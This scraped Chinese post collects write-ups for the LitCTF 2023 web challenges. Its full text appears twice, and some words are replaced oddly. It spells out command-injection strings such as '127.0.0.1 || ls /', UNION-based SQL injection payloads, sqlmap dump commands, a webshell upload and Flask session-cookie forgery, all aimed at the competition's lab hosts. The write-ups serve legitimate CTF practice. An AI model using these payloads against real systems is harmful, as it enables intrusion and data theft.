【易】【LitCTF-2023】Web题目 WriteUp 合集

2026-06-09 19:53:12 376阅读 0评论 SEO资源
  • 内容介绍
  • 文章标签
  • 相关推荐
问题描述:

【LitCTF-2023】Web题目 WriteUp 合集

题目链接:

  • [LitCTF 2023]我Flag呢?
  • [LitCTF 2023]就当无事发生
  • [LitCTF 2023]导弹迷踪
  • [LitCTF 2023]Follow me and 娱乐 me
  • [LitCTF 2023]Ping
  • [LitCTF 2023]1zjs
  • [LitCTF 2023]作业管理系统
  • [LitCTF 2023]PHP是世界上最好的语言!!
  • [LitCTF 2023]Vim yyds
  • [LitCTF 2023]这是什么?SQL !注一下 !
  • [LitCTF 2023]Fla娱乐击就送!
  • [LitCTF 2023]彩蛋

【LitCTF 2023】我Flag呢?

题目知识标签

信息收集、源码泄漏、代码审计

WP

直接代码审计F12或CTRL+U查看源代码

【易】【LitCTF-2023】Web题目 WriteUp 合集

image1920×1050 278 KB

在代码注释找到flag

【易】【LitCTF-2023】Web题目 WriteUp 合集

FLAG

NSSCTF{91737e4e-5797-4afb-80de-e6ec1c8f0177}

CTF所用工具总结

  • 浏览器

难度

※(一颗星,送分)

【LitCTF 2023】就当无事发生

题目知识标签

.git泄露、信息收集

WP

image899×373 20.3 KB

在题目描述页面可以发现一个GitHub page
根据下面的描述可以了解到作者不小心(并非)将flag推送到了仓库 但后来又重新部署 可以猜测到flag存在于仓库的历史版本

根据GitHub page的特点 可以很快找到作者github主页
从而找到对应的github仓库

::github{repo=“ProbiusOfficial/ProbiusOfficial.github.io”}

image1632×930 66.3 KB

在仓库的commits中可以找到历史推送
经过查找 可以找到历史推送遗留的flag

image1785×964 83.5 KB

image2520×1230 250 KB

FLAG

NSSCTF{g1thub_c0mmit_1s_s0_us3ful}

CTF所用工具总结

  • 浏览器

难度

※※(两颗星,超简单)

【LitCTF 2023】导弹迷踪

题目知识标签

JS分析、信息收集、源码泄漏

WP

根据题目描述可知 我们可以分析js得出flag 也可以玩到第六关得出flag

方法一:

玩到第六关,然后拿到flag

方法二:

代码审计 我们可以发现有好几个 关于游戏类的js

image2560×1400 302 KB

我们可以根据名称大致筛选出更有可能藏有flag的js进行分析
这里根据名称 猜测出藏在src/main.js src/game.js中

于是开始分析js文件

打开src/game.js文件
思路:当我们玩到第六关的时候会弹出flag 所以我们可以猜测他有个变量存储关卡 然后判断变量值是否为6 同时 游戏一般以level来表示关卡数 我们便可以猜测变量名称与level相关

所以我们在js文件中检索"if(xxxx === 6)"类似的东西
我这里直接在js文件中搜索6 很幸运的直接找到了flag

image2558×1221 209 KB

FLAG

NSSCTF{y0u_w1n_th1s_!!!}

CTF所用工具总结

  • 浏览器

难度

※※(两颗星,超简单)

【LitCTF 2023】Follow me and 娱乐 me

题目知识标签

HTTP协议、POST注入、源码泄漏

WP

image767×538 21.3 KB

我们发现按钮不能使用 打开开发者工具进行代码审计
可以发现这个题就没打算让大家用按钮

image804×528 11.1 KB

不过我们可以直接对页面进行传参
我们可以使用娱乐bar插件

image2053×1009 176 KB

直接用娱乐bar进行post请求 同时传入get参数
输入完之后直接EXECUTE 得到flag

FLAG

NSSCTF{53c511ed-8493-4622-b87d-f5f1fdbc5013}

CTF所用工具总结

  • 浏览器
  • HackBar插件

难度

※※(两颗星,超简单)

【LitCTF 2023】Ping

题目知识标签

RCE、前端绕过、Linux命令

WP

image593×316 5.3 KB

我们尝试ping一下127.0.0.1

image592×611 11.6 KB

我们可以猜测到当我们输入“127.0.0.1”时 被拼接为“ping 127.0.0.1"
根据Linux的特点 我们可以使用命令连接符 然后运行我们想要的指令

关于linux命令连接符

Linux命令连接符主要有以下几种:

  • ;(分号):表示顺序执行,每个命令执行完毕后继续执行下一个命令。
  • &&(逻辑与):表示顺序执行,只有前一个命令执行成功后,才会执行下一个命令。
  • ||(逻辑或):表示顺序执行,只有前一个命令执行失败后,才会执行下一个命令。
  • &(与符号):表示在后台执行命令。
  • |(管道符号):表示将前一个命令的输出作为输入传递给下一个命令。

我们可以使用“||”连接我们先要的命令

当我们传入"127.0.0.1 || ls /" 命令会被拼接为“ping 127.0.0.1 || ls /” 运行“ls /”命令
于是进行尝试

image717×698 17.3 KB

这里可以了解到他进行了前端的验证
不过我们可以通过修改数据包或禁用js娱乐进行发送数据

这里使用burp suite

我们先输入正常ip绕过js验证 然后抓取数据包修改

image1586×877 63.3 KB

抓取到数据包后 我们修改post里面的内容

将“127.0.0.1”改为“127.0.0.1 || ls /“

image732×929 12.1 KB

ok 我们这里发现命令运行成功而且正常回显
我们发现目录根目录中有个flag文件
使用cat命令读取

使用同样的方法将cat命令拼接进去“||cat /flag”

image783×445 10 KB

FLAG

NSSCTF{f2166a2a-76f5-451c-8396-e2a445df2afe}

CTF所用工具总结

  • 浏览器
  • burp suite

难度

※※※(三颗星,简单)

【LitCTF 2023】1zjs

题目知识标签

JS分析、信息收集、代码审计

WP

代码审计可以找到一个js
分析js

image782×268 61.6 KB

找到了一个名为 /f@k3f1ag.php 的文件

image635×209 66.6 KB

(f@k3我还以为是fake 以为找错了 实际上是Fuck的意思 意为JSFuck编码)
打开发现如下内容

image1079×475 356 KB

全部是由[] + ! ()组成
看似毫无意义 但flag却正在如此

由亲爱的百度先生可以了解到这是jsfuck编码
(是我孤陋寡闻了)

JSFuck是基于JavaScript原子部分的深奥和教育性编程风格。它仅仅使用六个不同的字符来编写和执行代码。

由csdn可知
它不依赖于浏览器,因此可以在Node.js上运行。

方法一:直接在控制台运行
image1079×590 287 KB

方法二:解码网站
image1021×447 108 KB

FLAG

NSSCTF{a07be3a8-e644-4683-bd14-57ff63c7e21e}

CTF所用工具总结

  • 浏览器
  • burp suite

难度

※※※※(四颗星,一般)

【LitCTF 2023】作业管理系统

题目知识标签

文件上传、弱口令、RCE

WP

打开题目发现是登录页面
代码审计可以发现账号密码

image2257×615 37.4 KB

输入账号密码进行登录

image1558×888 42.6 KB

在上传文件页面进行一句话木马上传
上传成功之后使用蚁剑连接

image1026×692 64.9 KB

在根目录可以找到flag文件得取flag

image1026×692 37.6 KB

FLAG

NSSCTF{b93762f3-5377-481f-85e1-54d696776843}

CTF所用工具总结

  • 浏览器
  • AntSword

难度

※※※(三颗星,简单)

【LitCTF 2023】PHP是世界上最好的语言!!

题目知识标签

RCE、PHP、无参RCE

WP

题目简介提示:Flag位于根目录
思路就是找根目录里面的flag文件

image1760×1023 385 KB

根据页面提示 RUN CODE 提示我们框内应为什么命令
我们尝试运行php代码

image1685×777 298 KB

发现可以运行 通过Linux命令 ls / 和cat来查看flag文件得到flag

image1785×929 363 KB

FLAG

NSSCTF{5c5b0c25-526d-4fb2-8fe8-82a44b59a673}

CTF所用工具总结

  • 浏览器

难度

※※※(三颗星,简单)

【LitCTF 2023】Vim yyds

题目知识标签

vim泄漏、RCE、源码泄漏

WP

题目打开提示vim

image1128×585 46.8 KB

这边可以猜测vim泄露 文件后缀为.swp 即index.php.swp
如果我们不知道也可以用 dirsearch 工具进行扫描

image979×443 6.46 KB

指令为 dirsearch -u {目标url}
可以扫描出index.php.swp文件 这里尝试访问
下载到目标文件 使用010 editor打开分析

image882×664 61.2 KB

分析代码得出payload

image1096×644 75.6 KB

使用post请求 传参
cmd={linux命令}&password=R2l2ZV9NZV9Zb3VyX0ZsYWc=
使用ls / 找到根目录flag文件
使用cat /flag 读取文件得到flag

image1511×607 87.5 KB

FLAG

NSSCTF{26723c05-e07b-44bd-a6c0-e9949452abcb}

CTF所用工具总结

  • 浏览器
  • 娱乐 bar
  • dirsearch
  • 010 editor

难度

※※※※(四颗星,一般)

【LitCTF 2023】这是什么?SQL !注一下 !

题目知识标签

SQL注入、时间盲注、布尔盲注

WP

方法一:手动注入

这题目比较简单 直接把Key Source给出

<?php $sql = "SELECT username,password FROM users WHERE id = ".'(((((('.$_GET["id"].'))))))'; $result = $conn->query($sql);

Executed Operations:

SELECT username,password FROM users WHERE id = (((((())))))

我们可以直接得出是字符型 然后需要“))))))”进行闭合
而且可以由 SELECT username,password FROM 得出字段长度为 2

接下来就要判断注释符

尝试 “–”:
image642×173 4.73 KB

查询出错 注释符不是“–”

尝试“#”:
image586×170 5.66 KB

查询成功 注释符是"#"

接下来就可以依次构建payload
手动注入可以使用娱乐bar内预设语句

查库payload

?id=1)))))) union select 1,group_concat(schema_name) from information_schema.schemata %23

image1920×950 234 KB

查库 长度和回显位置 这个题测试后发现1和2位置都能进行回显
直接execute 发现查询失败 分析查询语句

image1611×1090 209 KB

我们可以发现 娱乐bar 中的 # 被忽略
这边使用 # 的url编码即可

image1640×1056 286 KB

查询到以下数据库
information_schema,mysql,ctftraining,performance_schema,test,ctf

然后就是常规的查表查列查数据 不进行过多解释了
这里选择ctftraining数据库 它名称比较可疑 如果不是可以再进行其他数据库尝试

查表payload

?id=1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctftraining" %23

image1641×1029 190 KB

找到了一个名为flag的表
查列payload

?id=1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema='ctftraining' %23

image1599×959 237 KB

接下来直接查询数据即可
查数据payload

?id=1)))))) union select 1,flag from ctftraining.flag %23

image1592×984 297 KB

得出flag

方法二:sqlmap注入

直接查库

python sqlmap.py -u http://node5.anna.nssctf.cn:23615/?id=1 --dbs

image1044×420 6.61 KB

查表

python sqlmap.py -u http://node5.anna.nssctf.cn:23615/?id=1 -D ctftraining --tables

(触发时间盲注 速度较慢)

image1684×731 17.2 KB

查列

python sqlmap.py -u http://node5.anna.nssctf.cn:23615/?id=1 -D ctftraining -T flag --columns

(触发时间盲注 速度较慢)

image1684×731 17.3 KB

查询数据

python sqlmap.py -u http://node5.anna.nssctf.cn:23615/?id=1 -D ctftraining -T flag -C flag --dump

(触发时间盲注 速度较慢)

image1684×823 20.3 KB

FLAG

NSSCTF{24cbda17-c360-4112-9ba3-93cb9798dfea}

CTF所用工具总结

  • 浏览器
  • 娱乐 bar
  • sqlmap

难度

※※※※(四颗星,一般)

【LitCTF 2023】Fla娱乐击就送!

题目知识标签

Cookie伪造、Flask、Ejs

WP

打开随便输入个名字
点击拿flag提示只有管理员才能拿flag

image655×279 11.7 KB

返回初始页面
输入admin 提示你并非管理员

image699×288 12.3 KB

我们可以由此判断出管理员名称为admin
我们输入任意值后 在拿flag分析数据包
找到了cookie值中 存在session值
eyJuYW1lIjoiMSJ9.aRiRSQ.qRcMu-i6fQDODuj7-p9g4N4ZOM8

分析session值 进行base64解密

image858×674 29.4 KB

发现session是被加密过的base64数据 于是分析框架以做到session数据的处理
我们可以猜测这个题应该是构造admin的session拿flag
通过Wappalyzer插件分析网站框架为Flask
image751×668 21.9 KB

根据flask框架特点 我们可以发现他会创建一个密钥进行加密
我们要爆破出密钥 这里使用flask-unsign工具进行爆破

flask-unsign --unsign --cookie "cookie" -w "wordlist file" --no-literal-eval

发现我们使用常见的字典后无法娱乐

image917×108 1.97 KB

而题目也不会这么难
于是我们根据题目相关信息进行密钥猜测

发现密钥就是LitCTF
根据此密钥 我们使用 flask-session-cookie-manager 工具构造session

python flask_session_cookie_manager3.py encode -s "LitCTF" -t "{'name':'admin'}"

得到构造后的session为eyJuYW1lIjoiYWRtaW4ifQ.aRiYLQ.1chaPrijlkgD2V9KFs1-yD-5lCY

我们使用 burp suite 将所得的session值封装到数据包中

image2285×893 131 KB

发送数据包拿到flag

image1605×243 18.8 KB

FLAG

NSSCTF{ee937afc-f3de-42c3-a86a-dfa71382429f}

CTF所用工具总结

  • 浏览器
  • flask-unsign
  • Wappalyzer
  • burp suite
  • flask-session-cookie-manager

难度

※※※※※※(六颗星,难)

【LitCTF 2023】彩蛋

题目知识标签

其他

WP

题目提示:彩蛋分布于 我Flag呢 Follow me and 娱乐 me 作业管理系统 狠狠的注入 四个题目 中

part1(我Flag呢)

image1920×852 280 KB

在控制台页面发现彩蛋提示
输入对应提示指令giveMeEgg()得到第一部分

image780×588 19.6 KB

LitCTF{First_t0_The_k3y!(1/?)

part2(Follow me and 娱乐 me)

在我们完成这道题的时候 有一行绿的提示

image859×581 25.1 KB

于是我们测试备份文件名称 使用 dirsearch 查询目录

python dirsearch.py -u http://node5.anna.nssctf.cn:28775/

image803×177 2.45 KB

下载目录中的 www.zip 文件

image1399×279 21.8 KB

分析文件
我们可以在index.php.bak文件中找到这一部分flag

image685×372 17.4 KB

_R3ady_Pl4yer_000ne_ (3/?)

part3(作业管理系统)

依旧登录系统
在文件上传页面发现远程下载示例

image2034×799 44.5 KB

打开示例链接 获得此部分flag
image723×363 10.1 KB

_S0_ne3t? (2/?)

part4(狠狠的注入)

在我们做这个题的时候 还有一个名为ctf的数据库
对这个数据库进行查表

查表payload

?id=1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctf" %23

image724×257 9.07 KB

查列payload

?id=1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='ctf' %23

image678×386 26.8 KB

查数据payload

?id=1)))))) union select username,password from ctf.users %23

image736×257 8.89 KB

得到此部分flag (当然可以用sqlmap

F1rst_to_Th3_eggggggggg!} (4/4)

合并四个部分flag得到最后flag

NSSCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}

FLAG

NSSCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}

CTF所用工具总结

  • 浏览器
  • dirsearch
  • sqlmap

难度

※※※※(四颗星,一般)


总结

这套题总体难度比较简单,而且还挺有趣的,适合Web新手入门,去多方位了解Web题的不同解题角度,题目的writeup可以当作思考路线,题目质量不错,值得一做~~

本人博客原文: https://chuzoux.top/posts/litctf-2023/

网友解答:
--【壹】--:

太强了,大佬

标签: 合集 题目 litctf
问题描述:

【LitCTF-2023】Web题目 WriteUp 合集

题目链接:

  • [LitCTF 2023]我Flag呢?
  • [LitCTF 2023]就当无事发生
  • [LitCTF 2023]导弹迷踪
  • [LitCTF 2023]Follow me and 娱乐 me
  • [LitCTF 2023]Ping
  • [LitCTF 2023]1zjs
  • [LitCTF 2023]作业管理系统
  • [LitCTF 2023]PHP是世界上最好的语言!!
  • [LitCTF 2023]Vim yyds
  • [LitCTF 2023]这是什么?SQL !注一下 !
  • [LitCTF 2023]Fla娱乐击就送!
  • [LitCTF 2023]彩蛋

【LitCTF 2023】我Flag呢?

题目知识标签

信息收集、源码泄漏、代码审计

WP

直接代码审计F12或CTRL+U查看源代码

【易】【LitCTF-2023】Web题目 WriteUp 合集

image1920×1050 278 KB

在代码注释找到flag

【易】【LitCTF-2023】Web题目 WriteUp 合集

FLAG

NSSCTF{91737e4e-5797-4afb-80de-e6ec1c8f0177}

CTF所用工具总结

  • 浏览器

难度

※(一颗星,送分)

【LitCTF 2023】就当无事发生

题目知识标签

.git泄露、信息收集

WP

image899×373 20.3 KB

在题目描述页面可以发现一个GitHub page
根据下面的描述可以了解到作者不小心(并非)将flag推送到了仓库 但后来又重新部署 可以猜测到flag存在于仓库的历史版本

根据GitHub page的特点 可以很快找到作者github主页
从而找到对应的github仓库

::github{repo=“ProbiusOfficial/ProbiusOfficial.github.io”}

image1632×930 66.3 KB

在仓库的commits中可以找到历史推送
经过查找 可以找到历史推送遗留的flag

image1785×964 83.5 KB

image2520×1230 250 KB

FLAG

NSSCTF{g1thub_c0mmit_1s_s0_us3ful}

CTF所用工具总结

  • 浏览器

难度

※※(两颗星,超简单)

【LitCTF 2023】导弹迷踪

题目知识标签

JS分析、信息收集、源码泄漏

WP

根据题目描述可知 我们可以分析js得出flag 也可以玩到第六关得出flag

方法一:

玩到第六关,然后拿到flag

方法二:

代码审计 我们可以发现有好几个 关于游戏类的js

image2560×1400 302 KB

我们可以根据名称大致筛选出更有可能藏有flag的js进行分析
这里根据名称 猜测出藏在src/main.js src/game.js中

于是开始分析js文件

打开src/game.js文件
思路:当我们玩到第六关的时候会弹出flag 所以我们可以猜测他有个变量存储关卡 然后判断变量值是否为6 同时 游戏一般以level来表示关卡数 我们便可以猜测变量名称与level相关

所以我们在js文件中检索"if(xxxx === 6)"类似的东西
我这里直接在js文件中搜索6 很幸运的直接找到了flag

image2558×1221 209 KB

FLAG

NSSCTF{y0u_w1n_th1s_!!!}

CTF所用工具总结

  • 浏览器

难度

※※(两颗星,超简单)

【LitCTF 2023】Follow me and 娱乐 me

题目知识标签

HTTP协议、POST注入、源码泄漏

WP

image767×538 21.3 KB

我们发现按钮不能使用 打开开发者工具进行代码审计
可以发现这个题就没打算让大家用按钮

image804×528 11.1 KB

不过我们可以直接对页面进行传参
我们可以使用娱乐bar插件

image2053×1009 176 KB

直接用娱乐bar进行post请求 同时传入get参数
输入完之后直接EXECUTE 得到flag

FLAG

NSSCTF{53c511ed-8493-4622-b87d-f5f1fdbc5013}

CTF所用工具总结

  • 浏览器
  • HackBar插件

难度

※※(两颗星,超简单)

【LitCTF 2023】Ping

题目知识标签

RCE、前端绕过、Linux命令

WP

image593×316 5.3 KB

我们尝试ping一下127.0.0.1

image592×611 11.6 KB

我们可以猜测到当我们输入“127.0.0.1”时 被拼接为“ping 127.0.0.1"
根据Linux的特点 我们可以使用命令连接符 然后运行我们想要的指令

关于linux命令连接符

Linux命令连接符主要有以下几种:

  • ;(分号):表示顺序执行,每个命令执行完毕后继续执行下一个命令。
  • &&(逻辑与):表示顺序执行,只有前一个命令执行成功后,才会执行下一个命令。
  • ||(逻辑或):表示顺序执行,只有前一个命令执行失败后,才会执行下一个命令。
  • &(与符号):表示在后台执行命令。
  • |(管道符号):表示将前一个命令的输出作为输入传递给下一个命令。

我们可以使用“||”连接我们先要的命令

当我们传入"127.0.0.1 || ls /" 命令会被拼接为“ping 127.0.0.1 || ls /” 运行“ls /”命令
于是进行尝试

image717×698 17.3 KB

这里可以了解到他进行了前端的验证
不过我们可以通过修改数据包或禁用js娱乐进行发送数据

这里使用burp suite

我们先输入正常ip绕过js验证 然后抓取数据包修改

image1586×877 63.3 KB

抓取到数据包后 我们修改post里面的内容

将“127.0.0.1”改为“127.0.0.1 || ls /“

image732×929 12.1 KB

ok 我们这里发现命令运行成功而且正常回显
我们发现目录根目录中有个flag文件
使用cat命令读取

使用同样的方法将cat命令拼接进去“||cat /flag”

image783×445 10 KB

FLAG

NSSCTF{f2166a2a-76f5-451c-8396-e2a445df2afe}

CTF所用工具总结

  • 浏览器
  • burp suite

难度

※※※(三颗星,简单)

【LitCTF 2023】1zjs

题目知识标签

JS分析、信息收集、代码审计

WP

代码审计可以找到一个js
分析js

image782×268 61.6 KB

找到了一个名为 /f@k3f1ag.php 的文件

image635×209 66.6 KB

(f@k3我还以为是fake 以为找错了 实际上是Fuck的意思 意为JSFuck编码)
打开发现如下内容

image1079×475 356 KB

全部是由[] + ! ()组成
看似毫无意义 但flag却正在如此

由亲爱的百度先生可以了解到这是jsfuck编码
(是我孤陋寡闻了)

JSFuck是基于JavaScript原子部分的深奥和教育性编程风格。它仅仅使用六个不同的字符来编写和执行代码。

由csdn可知
它不依赖于浏览器,因此可以在Node.js上运行。

方法一:直接在控制台运行
image1079×590 287 KB

方法二:解码网站
image1021×447 108 KB

FLAG

NSSCTF{a07be3a8-e644-4683-bd14-57ff63c7e21e}

CTF所用工具总结

  • 浏览器
  • burp suite

难度

※※※※(四颗星,一般)

【LitCTF 2023】作业管理系统

题目知识标签

文件上传、弱口令、RCE

WP

打开题目发现是登录页面
代码审计可以发现账号密码

image2257×615 37.4 KB

输入账号密码进行登录

image1558×888 42.6 KB

在上传文件页面进行一句话木马上传
上传成功之后使用蚁剑连接

image1026×692 64.9 KB

在根目录可以找到flag文件得取flag

image1026×692 37.6 KB

FLAG

NSSCTF{b93762f3-5377-481f-85e1-54d696776843}

CTF所用工具总结

  • 浏览器
  • AntSword

难度

※※※(三颗星,简单)

【LitCTF 2023】PHP是世界上最好的语言!!

题目知识标签

RCE、PHP、无参RCE

WP

题目简介提示:Flag位于根目录
思路就是找根目录里面的flag文件

image1760×1023 385 KB

根据页面提示 RUN CODE 提示我们框内应为什么命令
我们尝试运行php代码

image1685×777 298 KB

发现可以运行 通过Linux命令 ls / 和cat来查看flag文件得到flag

image1785×929 363 KB

FLAG

NSSCTF{5c5b0c25-526d-4fb2-8fe8-82a44b59a673}

CTF所用工具总结

  • 浏览器

难度

※※※(三颗星,简单)

【LitCTF 2023】Vim yyds

题目知识标签

vim泄漏、RCE、源码泄漏

WP

题目打开提示vim

image1128×585 46.8 KB

这边可以猜测vim泄露 文件后缀为.swp 即index.php.swp
如果我们不知道也可以用 dirsearch 工具进行扫描

image979×443 6.46 KB

指令为 dirsearch -u {目标url}
可以扫描出index.php.swp文件 这里尝试访问
下载到目标文件 使用010 editor打开分析

image882×664 61.2 KB

分析代码得出payload

image1096×644 75.6 KB

使用post请求 传参
cmd={linux命令}&password=R2l2ZV9NZV9Zb3VyX0ZsYWc=
使用ls / 找到根目录flag文件
使用cat /flag 读取文件得到flag

image1511×607 87.5 KB

FLAG

NSSCTF{26723c05-e07b-44bd-a6c0-e9949452abcb}

CTF所用工具总结

  • 浏览器
  • 娱乐 bar
  • dirsearch
  • 010 editor

难度

※※※※(四颗星,一般)

【LitCTF 2023】这是什么?SQL !注一下 !

题目知识标签

SQL注入、时间盲注、布尔盲注

WP

方法一:手动注入

这题目比较简单 直接把Key Source给出

<?php $sql = "SELECT username,password FROM users WHERE id = ".'(((((('.$_GET["id"].'))))))'; $result = $conn->query($sql);

Executed Operations:

SELECT username,password FROM users WHERE id = (((((())))))

我们可以直接得出是字符型 然后需要“))))))”进行闭合
而且可以由 SELECT username,password FROM 得出字段长度为 2

接下来就要判断注释符

尝试 “–”:
image642×173 4.73 KB

查询出错 注释符不是“–”

尝试“#”:
image586×170 5.66 KB

查询成功 注释符是"#"

接下来就可以依次构建payload
手动注入可以使用娱乐bar内预设语句

查库payload

?id=1)))))) union select 1,group_concat(schema_name) from information_schema.schemata %23

image1920×950 234 KB

查库 长度和回显位置 这个题测试后发现1和2位置都能进行回显
直接execute 发现查询失败 分析查询语句

image1611×1090 209 KB

我们可以发现 娱乐bar 中的 # 被忽略
这边使用 # 的url编码即可

image1640×1056 286 KB

查询到以下数据库
information_schema,mysql,ctftraining,performance_schema,test,ctf

然后就是常规的查表查列查数据 不进行过多解释了
这里选择ctftraining数据库 它名称比较可疑 如果不是可以再进行其他数据库尝试

查表payload

?id=1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctftraining" %23

image1641×1029 190 KB

找到了一个名为flag的表
查列payload

?id=1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema='ctftraining' %23

image1599×959 237 KB

接下来直接查询数据即可
查数据payload

?id=1)))))) union select 1,flag from ctftraining.flag %23

image1592×984 297 KB

得出flag

方法二:sqlmap注入

直接查库

python sqlmap.py -u http://node5.anna.nssctf.cn:23615/?id=1 --dbs

image1044×420 6.61 KB

查表

python sqlmap.py -u http://node5.anna.nssctf.cn:23615/?id=1 -D ctftraining --tables

(触发时间盲注 速度较慢)

image1684×731 17.2 KB

查列

python sqlmap.py -u http://node5.anna.nssctf.cn:23615/?id=1 -D ctftraining -T flag --columns

(触发时间盲注 速度较慢)

image1684×731 17.3 KB

查询数据

python sqlmap.py -u http://node5.anna.nssctf.cn:23615/?id=1 -D ctftraining -T flag -C flag --dump

(触发时间盲注 速度较慢)

image1684×823 20.3 KB

FLAG

NSSCTF{24cbda17-c360-4112-9ba3-93cb9798dfea}

CTF所用工具总结

  • 浏览器
  • 娱乐 bar
  • sqlmap

难度

※※※※(四颗星,一般)

【LitCTF 2023】Fla娱乐击就送!

题目知识标签

Cookie伪造、Flask、Ejs

WP

打开随便输入个名字
点击拿flag提示只有管理员才能拿flag

image655×279 11.7 KB

返回初始页面
输入admin 提示你并非管理员

image699×288 12.3 KB

我们可以由此判断出管理员名称为admin
我们输入任意值后 在拿flag分析数据包
找到了cookie值中 存在session值
eyJuYW1lIjoiMSJ9.aRiRSQ.qRcMu-i6fQDODuj7-p9g4N4ZOM8

分析session值 进行base64解密

image858×674 29.4 KB

发现session是被加密过的base64数据 于是分析框架以做到session数据的处理
我们可以猜测这个题应该是构造admin的session拿flag
通过Wappalyzer插件分析网站框架为Flask
image751×668 21.9 KB

根据flask框架特点 我们可以发现他会创建一个密钥进行加密
我们要爆破出密钥 这里使用flask-unsign工具进行爆破

flask-unsign --unsign --cookie "cookie" -w "wordlist file" --no-literal-eval

发现我们使用常见的字典后无法娱乐

image917×108 1.97 KB

而题目也不会这么难
于是我们根据题目相关信息进行密钥猜测

发现密钥就是LitCTF
根据此密钥 我们使用 flask-session-cookie-manager 工具构造session

python flask_session_cookie_manager3.py encode -s "LitCTF" -t "{'name':'admin'}"

得到构造后的session为eyJuYW1lIjoiYWRtaW4ifQ.aRiYLQ.1chaPrijlkgD2V9KFs1-yD-5lCY

我们使用 burp suite 将所得的session值封装到数据包中

image2285×893 131 KB

发送数据包拿到flag

image1605×243 18.8 KB

FLAG

NSSCTF{ee937afc-f3de-42c3-a86a-dfa71382429f}

CTF所用工具总结

  • 浏览器
  • flask-unsign
  • Wappalyzer
  • burp suite
  • flask-session-cookie-manager

难度

※※※※※※(六颗星,难)

【LitCTF 2023】彩蛋

题目知识标签

其他

WP

题目提示:彩蛋分布于 我Flag呢 Follow me and 娱乐 me 作业管理系统 狠狠的注入 四个题目 中

part1(我Flag呢)

image1920×852 280 KB

在控制台页面发现彩蛋提示
输入对应提示指令giveMeEgg()得到第一部分

image780×588 19.6 KB

LitCTF{First_t0_The_k3y!(1/?)

part2(Follow me and 娱乐 me)

在我们完成这道题的时候 有一行绿的提示

image859×581 25.1 KB

于是我们测试备份文件名称 使用 dirsearch 查询目录

python dirsearch.py -u http://node5.anna.nssctf.cn:28775/

image803×177 2.45 KB

下载目录中的 www.zip 文件

image1399×279 21.8 KB

分析文件
我们可以在index.php.bak文件中找到这一部分flag

image685×372 17.4 KB

_R3ady_Pl4yer_000ne_ (3/?)

part3(作业管理系统)

依旧登录系统
在文件上传页面发现远程下载示例

image2034×799 44.5 KB

打开示例链接 获得此部分flag
image723×363 10.1 KB

_S0_ne3t? (2/?)

part4(狠狠的注入)

在我们做这个题的时候 还有一个名为ctf的数据库
对这个数据库进行查表

查表payload

?id=1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctf" %23

image724×257 9.07 KB

查列payload

?id=1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='ctf' %23

image678×386 26.8 KB

查数据payload

?id=1)))))) union select username,password from ctf.users %23

image736×257 8.89 KB

得到此部分flag (当然可以用sqlmap

F1rst_to_Th3_eggggggggg!} (4/4)

合并四个部分flag得到最后flag

NSSCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}

FLAG

NSSCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}

CTF所用工具总结

  • 浏览器
  • dirsearch
  • sqlmap

难度

※※※※(四颗星,一般)


总结

这套题总体难度比较简单,而且还挺有趣的,适合Web新手入门,去多方位了解Web题的不同解题角度,题目的writeup可以当作思考路线,题目质量不错,值得一做~~

本人博客原文: https://chuzoux.top/posts/litctf-2023/

网友解答:
--【壹】--:

太强了,大佬

标签: 合集 题目 litctf